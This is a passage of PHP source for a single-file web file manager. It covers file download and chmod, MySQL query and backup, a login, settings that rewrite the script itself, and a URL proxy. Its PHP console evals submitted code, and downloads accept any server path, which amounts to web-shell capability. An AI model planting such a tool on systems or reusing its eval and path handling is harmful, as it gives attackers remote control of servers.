		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File managerx').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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